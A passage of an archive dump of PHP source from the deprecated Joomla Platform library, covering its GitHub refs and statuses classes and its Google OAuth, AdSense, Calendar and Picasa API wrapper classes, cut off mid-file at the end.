* Method to get a reference.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $ref The reference to get.
*
* @deprecated use data->refs->get()
*
* @return object
*
* @since 1.7.3
*/
public function get($user, $repo, $ref)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/git/refs/' . $ref;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list references for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $namespace Optional sub-namespace to limit the
returned references.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @deprecated use data->refs->getList()
*
* @return array
*
* @since 1.7.3
*/
public function getList($user, $repo, $namespace = '', $page =
0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/git/refs' . $namespace;
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
}
github/statuses.php000064400000005546151171674110010430 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API References class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubStatuses extends JGithubObject
{
/**
* Method to create a status.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA1 value for which to set the
status.
* @param string $state The state (pending, success, error or
failure).
* @param string $targetUrl Optional target URL.
* @param string $description Optional description for the status.
*
* @deprecated use repositories->statuses->create()
*
* @return object
*
* @since 3.1.4
*/
public function create($user, $repo, $sha, $state, $targetUrl = null,
$description = null)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/statuses/' . $sha;
if (!in_array($state, array('pending', 'success',
'error', 'failure')))
{
throw new InvalidArgumentException('State must be one of pending,
success, error or failure.');
}
// Build the request data.
$data = array(
'state' => $state,
);
if (!is_null($targetUrl))
{
$data['target_url'] = $targetUrl;
}
if (!is_null($description))
{
$data['description'] = $description;
}
// Send the request.
$response = $this->client->post($this->fetchUrl($path),
json_encode($data));
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list statuses for an SHA.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha SHA1 for which to get the statuses.
*
* @deprecated use repositories->statuses->getList()
*
* @return array
*
* @since 3.1.4
*/
public function getList($user, $repo, $sha)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/statuses/' . $sha;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
}
google/auth/oauth2.php000064400000006020151171674110010676 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google OAuth authentication class
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleAuthOauth2 extends JGoogleAuth
{
/**
* @var JOAuth2Client OAuth client for the Google authentication
object.
* @since 3.1.4
*/
protected $client;
/**
* Constructor.
*
* @param Registry $options JGoogleAuth options object.
* @param JOAuth2Client $client OAuth client for Google
authentication.
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JOAuth2Client
$client = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JOAuth2Client($this->options);
}
/**
* Method to authenticate to Google
*
* @return boolean True on success.
*
* @since 3.1.4
*/
public function authenticate()
{
$this->googlize();
return $this->client->authenticate();
}
/**
* Verify if the client has been authenticated
*
* @return boolean Is authenticated
*
* @since 3.1.4
*/
public function isAuthenticated()
{
return $this->client->isAuthenticated();
}
/**
* Method to retrieve data from Google
*
* @param string $url The URL for the request.
* @param mixed $data The data to include in the request.
* @param array $headers The headers to send with the request.
* @param string $method The type of http request to send.
*
* @return mixed Data from Google.
*
* @since 3.1.4
*/
public function query($url, $data = null, $headers = null, $method =
'get')
{
$this->googlize();
return $this->client->query($url, $data, $headers, $method);
}
/**
* Method to fill in Google-specific OAuth settings
*
* @return JOAuth2Client Google-configured Oauth2 client.
*
* @since 3.1.4
*/
protected function googlize()
{
if (!$this->client->getOption('authurl'))
{
$this->client->setOption('authurl',
'https://accounts.google.com/o/oauth2/auth');
}
if (!$this->client->getOption('tokenurl'))
{
$this->client->setOption('tokenurl',
'https://accounts.google.com/o/oauth2/token');
}
if (!$this->client->getOption('requestparams'))
{
$this->client->setOption('requestparams', array());
}
$params = $this->client->getOption('requestparams');
if (!array_key_exists('access_type', $params))
{
$params['access_type'] = 'offline';
}
if ($params['access_type'] == 'offline' &&
$this->client->getOption('userefresh') === null)
{
$this->client->setOption('userefresh', true);
}
if (!array_key_exists('approval_prompt', $params))
{
$params['approval_prompt'] = 'auto';
}
$this->client->setOption('requestparams', $params);
return $this->client;
}
}
google/auth.php000064400000003735151171674110007506 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Google authentication class abstract
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
abstract class JGoogleAuth
{
/**
* @var \Joomla\Registry\Registry Options for the Google
authentication object.
* @since 3.1.4
*/
protected $options;
/**
* Abstract method to authenticate to Google
*
* @return boolean True on success.
*
* @since 3.1.4
*/
abstract public function authenticate();
/**
* Verify if the client has been authenticated
*
* @return boolean Is authenticated
*
* @since 3.1.4
*/
abstract public function isAuthenticated();
/**
* Abstract method to retrieve data from Google
*
* @param string $url The URL for the request.
* @param mixed $data The data to include in the request.
* @param array $headers The headers to send with the request.
* @param string $method The type of http request to send.
*
* @return mixed Data from Google.
*
* @since 3.1.4
*/
abstract public function query($url, $data = null, $headers = null,
$method = 'get');
/**
* Get an option from the JGoogleAuth object.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JGoogleAuth object.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JGoogleAuth This object for method chaining.
*
* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
google/data/adsense.php000064400000026057151171674110011102
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google Adsense data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataAdsense extends JGoogleData
{
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://www.googleapis.com/auth/adsense');
}
}
/**
* Method to get an Adsense account's settings from Google
*
* @param string $accountID ID of account to get
* @param boolean $subaccounts Include list of subaccounts
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function getAccount($accountID, $subaccounts = true)
{
if ($this->isAuthenticated())
{
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID) . ($subaccounts ? '?tree=true' :
'');
$jdata = $this->query($url);
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to retrieve a list of AdSense accounts from Google
*
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listAccounts($options = array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts?' .
http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to retrieve a list of AdSense clients from Google
*
* @param string $accountID ID of account to list the clients from
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listClients($accountID, $options = array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID) . '/adclients?' .
http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to get an AdSense AdUnit
*
* @param string $accountID ID of account to get
* @param string $adclientID ID of client to get
* @param string $adunitID ID of adunit to get
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function getUnit($accountID, $adclientID, $adunitID)
{
if ($this->isAuthenticated())
{
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID);
$url .= '/adclients/' . urlencode($adclientID) .
'/adunits/' . urlencode($adunitID);
$jdata = $this->query($url);
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to retrieve a list of AdSense Custom Channels for a specific
Adunit
*
* @param string $accountID ID of account
* @param string $adclientID ID of client
* @param string $adunitID ID of adunit to list channels from
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listUnitChannels($accountID, $adclientID, $adunitID,
$options = array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID);
$url .= '/adclients/' . urlencode($adclientID) .
'/adunits/' . urlencode($adunitID) . '/customchannels?'
. http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to get an Adsense Channel
*
* @param string $accountID ID of account to get
* @param string $adclientID ID of client to get
* @param string $channelID ID of channel to get
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function getChannel($accountID, $adclientID, $channelID)
{
if ($this->isAuthenticated())
{
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID) . '/adclients/';
$url .= urlencode($adclientID) . '/customchannels/' .
urlencode($channelID);
$jdata = $this->query($url);
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to retrieve a list of AdSense Custom Channels
*
* @param string $accountID ID of account
* @param string $adclientID ID of client to list channels from
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listChannels($accountID, $adclientID, $options = array(),
$maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID) . '/adclients/' . urlencode($adclientID);
$url .= '/customchannels?' . http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to retrieve a list of AdSense Adunits for a specific Custom
Channel
*
* @param string $accountID ID of account
* @param string $adclientID ID of client
* @param string $channelID ID of channel to list units from
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listChannelUnits($accountID, $adclientID, $channelID,
$options = array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID) . '/adclients/' . urlencode($adclientID);
$url .= '/customchannels/' . urlencode($channelID) .
'/adunits?' . http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to generate a report from Google AdSense
*
* @param string $accountID ID of account
* @param string $adclientID ID of client
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listUrlChannels($accountID, $adclientID, $options =
array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID);
$url .= '/adclients/' . urlencode($adclientID) .
'/urlchannels?' . http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to retrieve a list of AdSense Channel URLs
*
* @param string $accountID ID of account
* @param mixed $start Start day
* @param mixed $end End day
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws InvalidArgumentException
* @throws UnexpectedValueException
*/
public function generateReport($accountID, $start, $end = false, $options
= array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
if (is_int($start))
{
$startobj = new DateTime;
$startobj->setTimestamp($start);
}
elseif (is_string($start))
{
$startobj = new DateTime($start);
}
elseif (is_a($start, 'DateTime'))
{
$startobj = $start;
}
else
{
throw new InvalidArgumentException('Invalid start time.');
}
if (!$end)
{
$endobj = new DateTime;
}
elseif (is_int($end))
{
$endobj = new DateTime;
$endobj->setTimestamp($end);
}
elseif (is_string($end))
{
$endobj = new DateTime($end);
}
elseif (is_a($end, 'DateTime'))
{
$endobj = $end;
}
else
{
throw new InvalidArgumentException('Invalid end time.');
}
$options['startDate'] =
$startobj->format('Y-m-d');
$options['endDate'] = $endobj->format('Y-m-d');
unset($options['startIndex']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID) . '/reports?' . http_build_query($options);
if (strpos($url, '&'))
{
$url .= '&';
}
$i = 0;
$data['rows'] = array();
do
{
$jdata = $this->query($url . 'startIndex=' .
count($data['rows']));
$newdata = json_decode($jdata->body, true);
if ($newdata && array_key_exists('rows', $newdata))
{
$newdata['rows'] = array_merge($data['rows'],
$newdata['rows']);
$data = $newdata;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
$i++;
}
while (count($data['rows']) <
$data['totalMatchedRows'] && $i < $maxpages);
return $data;
}
else
{
return false;
}
}
}
google/data/calendar.php000064400000036744151171674110011235
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google Calendar data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataCalendar extends JGoogleData
{
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://www.googleapis.com/auth/calendar');
}
}
/**
* Method to remove a calendar from a user's calendar list
*
* @param string $calendarID ID of calendar to delete
*
* @return boolean Success or failure
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function removeCalendar($calendarID)
{
if ($this->isAuthenticated())
{
$jdata =
$this->query('https://www.googleapis.com/calendar/v3/users/me/calendarList/'
. urlencode($calendarID), null, null, 'delete');
if ($jdata->body != '')
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
return true;
}
else
{
return false;
}
}
/**
* Method to get a calendar's settings from Google
*
* @param string $calendarID ID of calendar to get.
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function getCalendar($calendarID)
{
if ($this->isAuthenticated())
{
$jdata =
$this->query('https://www.googleapis.com/calendar/v3/users/me/calendarList/'
. urlencode($calendarID));
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to add a calendar to a user's Google Calendar list
*
* @param string $calendarID New calendar ID
* @param array $options New calendar settings
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function addCalendar($calendarID, $options = array())
{
if ($this->isAuthenticated())
{
$options['id'] = $calendarID;
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendarList';
$jdata = $this->query($url, json_encode($options),
array('Content-type' => 'application/json'),
'post');
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to retrieve calendar list from Google
*
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of calendars to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listCalendars($options = array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendarList?' .
http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to edit a Google Calendar's settings
*
* @param string $calendarID Calendar ID
* @param array $options Calendar settings
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function editCalendarSettings($calendarID, $options)
{
if ($this->isAuthenticated())
{
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendarList/' .
urlencode($calendarID);
$jdata = $this->query($url, json_encode($options),
array('Content-type' => 'application/json'),
'put');
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to clear a Google Calendar
*
* @param string $calendarID ID of calendar to clear
*
* @return boolean Success or failure
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function clearCalendar($calendarID)
{
if ($this->isAuthenticated())
{
$data =
$this->query('https://www.googleapis.com/calendar/v3/users/me/calendars/'
. urlencode($calendarID) . '/clear', null, null,
'post');
if ($data->body != '')
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$data->body}`.");
}
return true;
}
else
{
return false;
}
}
/**
* Method to delete a calendar from Google
*
* @param string $calendarID ID of calendar to delete.
*
* @return boolean Success or failure
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function deleteCalendar($calendarID)
{
if ($this->isAuthenticated())
{
$data =
$this->query('https://www.googleapis.com/calendar/v3/users/me/calendars/'
. urlencode($calendarID), null, null, 'delete');
if ($data->body != '')
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$data->body}`.");
}
return true;
}
else
{
return false;
}
}
/**
* Method to create a Google Calendar
*
* @param string $title New calendar title
* @param array $options New calendar settings
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function createCalendar($title, $options = array())
{
if ($this->isAuthenticated())
{
$options['summary'] = $title;
$url = 'https://www.googleapis.com/calendar/v3/calendars';
$jdata = $this->query($url, json_encode($options),
array('Content-type' => 'application/json'),
'post');
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to edit a Google Calendar
*
* @param string $calendarID Calendar ID.
* @param array $options Calendar settings.
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function editCalendar($calendarID, $options)
{
if ($this->isAuthenticated())
{
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendars/' .
urlencode($calendarID);
$jdata = $this->query($url, json_encode($options),
array('Content-type' => 'application/json'),
'put');
$data = json_decode($jdata->body, true);
if ($data && array_key_exists('items', $data))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to delete an event from a Google Calendar
*
* @param string $calendarID ID of calendar to delete from
* @param string $eventID ID of event to delete.
*
* @return boolean Success or failure.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function deleteEvent($calendarID, $eventID)
{
if ($this->isAuthenticated())
{
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendars/' .
urlencode($calendarID) . '/events/' . urlencode($eventID);
$data = $this->query($url, null, null, 'delete');
if ($data->body != '')
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$data->body}`.");
}
return true;
}
else
{
return false;
}
}
/**
* Method to get an event from a Google Calendar
*
* @param string $calendarID ID of calendar
* @param string $eventID ID of event to get
* @param array $options Options to send to Google
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function getEvent($calendarID, $eventID, $options = array())
{
if ($this->isAuthenticated())
{
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendarList/';
$url .= urlencode($calendarID) . '/events/' .
urlencode($eventID) . '?' . http_build_query($options);
$jdata = $this->query($url);
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to create a Google Calendar event
*
* @param string $calendarID ID of calendar
* @param mixed $start Event start time
* @param mixed $end Event end time
* @param array $options New event settings
* @param mixed $timezone Timezone for event
* @param boolean $allday Treat event as an all-day event
* @param boolean $notify Notify participants
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws InvalidArgumentException
* @throws UnexpectedValueException
*/
public function createEvent($calendarID, $start, $end = false, $options =
array(), $timezone = false, $allday = false, $notify = false)
{
if ($this->isAuthenticated())
{
if (!$start)
{
$startobj = new DateTime;
}
elseif (is_int($start))
{
$startobj = new DateTime;
$startobj->setTimestamp($start);
}
elseif (is_string($start))
{
$startobj = new DateTime($start);
}
elseif (is_a($start, 'DateTime'))
{
$startobj = $start;
}
else
{
throw new InvalidArgumentException('Invalid event start
time.');
}
if (!$end)
{
$endobj = $startobj;
}
elseif (is_int($end))
{
$endobj = new DateTime;
$endobj->setTimestamp($end);
}
elseif (is_string($end))
{
$endobj = new DateTime($end);
}
elseif (is_a($end, 'DateTime'))
{
$endobj = $end;
}
else
{
throw new InvalidArgumentException('Invalid event end
time.');
}
if ($allday)
{
$options['start'] = array('date' =>
$startobj->format('Y-m-d'));
$options['end'] = array('date' =>
$endobj->format('Y-m-d'));
}
else
{
$options['start'] = array('dateTime' =>
$startobj->format(DateTime::RFC3339));
$options['end'] = array('dateTime' =>
$endobj->format(DateTime::RFC3339));
}
if ($timezone === true)
{
$options['start']['timeZone'] =
$startobj->getTimezone()->getName();
$options['end']['timeZone'] =
$endobj->getTimezone()->getName();
}
elseif (is_a($timezone, 'DateTimeZone'))
{
$options['start']['timeZone'] =
$timezone->getName();
$options['end']['timeZone'] =
$timezone->getName();
}
elseif (is_string($timezone))
{
$options['start']['timeZone'] = $timezone;
$options['end']['timeZone'] = $timezone;
}
$url = 'https://www.googleapis.com/calendar/v3/calendars/' .
urlencode($calendarID) . '/events' . ($notify ?
'?sendNotifications=true' : '');
$jdata = $this->query($url, json_encode($options),
array('Content-type' => 'application/json'),
'post');
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to retrieve a list of events on a Google calendar
*
* @param string $calendarID Calendar ID
* @param string $eventID ID of the event to change
* @param array $options Search settings
* @param int $maxpages Minimum number of events to retrieve
(more may be retrieved depending on page size)
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listRecurrences($calendarID, $eventID, $options = array(),
$maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendars/' .
urlencode($calendarID) . '/events/' . urlencode($eventID) .
'/instances';
$url .= '?' . http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to retrieve a list of events on a Google calendar
*
* @param string $calendarID Calendar ID
* @param array $options Calendar settings
* @param int $maxpages Cycle through pages of data to generate a
complete list
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listEvents($calendarID, $options = array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/calendar/v3/calendars/' .
urlencode($calendarID) . '/events?' . http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to move an event from one calendar to another
*
* @param string $calendarID Calendar ID
* @param string $eventID ID of the event to change
* @param string $destID Calendar ID
* @param boolean $notify Notify participants of changes
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function moveEvent($calendarID, $eventID, $destID, $notify = false)
{
if ($this->isAuthenticated())
{
$url = 'https://www.googleapis.com/calendar/v3/calendars/' .
urlencode($calendarID) . '/events/' . urlencode($eventID) .
'/move';
$url .= '?destination=' . $destID . ($notify ?
'&sendNotifications=true' : '');
$jdata = $this->query($url, null, null, 'post');
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to edit a Google Calendar event
*
* @param string $calendarID Calendar ID
* @param string $eventID ID of the event to change
* @param array $options Event settings
* @param boolean $notify Notify participants of changes
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function editEvent($calendarID, $eventID, $options, $notify =
false)
{
if ($this->isAuthenticated())
{
$url = 'https://www.googleapis.com/calendar/v3/calendars/';
$url .= urlencode($calendarID) . '/events/' .
urlencode($eventID) . ($notify ? '?sendNotifications=true' :
'');
$jdata = $this->query($url, json_encode($options),
array('Content-type' => 'application/json'),
'put');
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
}
google/data/picasa/album.php000064400000023555151171674110012020
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google Picasa data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPicasaAlbum extends JGoogleData
{
/**
* @var SimpleXMLElement The album's XML
* @since 3.1.4
*/
protected $xml;
/**
* Constructor.
*
* @param SimpleXMLElement $xml XML from Google
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(SimpleXMLElement $xml, Registry $options =
null, JGoogleAuth $auth = null)
{
$this->xml = $xml;
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://picasaweb.google.com/data/');
}
}
/**
* Method to delete a Picasa album
*
* @param mixed $match Check for most up to date album
*
* @return boolean Success or failure.
*
* @since 3.1.4
* @throws Exception
* @throws RuntimeException
* @throws UnexpectedValueException
*/
public function delete($match = '*')
{
if ($this->isAuthenticated())
{
$url = $this->getLink();
if ($match === true)
{
$match = $this->xml->xpath('./@gd:etag');
$match = $match[0];
}
try
{
$jdata = $this->query($url, null, array('GData-Version'
=> 2, 'If-Match' => $match), 'delete');
}
catch (Exception $e)
{
if (strpos($e->getMessage(), 'Error code 412 received
requesting data: Mismatch: etags') === 0)
{
throw new RuntimeException("Etag match failed: `$match`.",
$e->getCode(), $e);
}
throw $e;
}
if ($jdata->body != '')
{
throw new UnexpectedValueException("Unexpected data received from
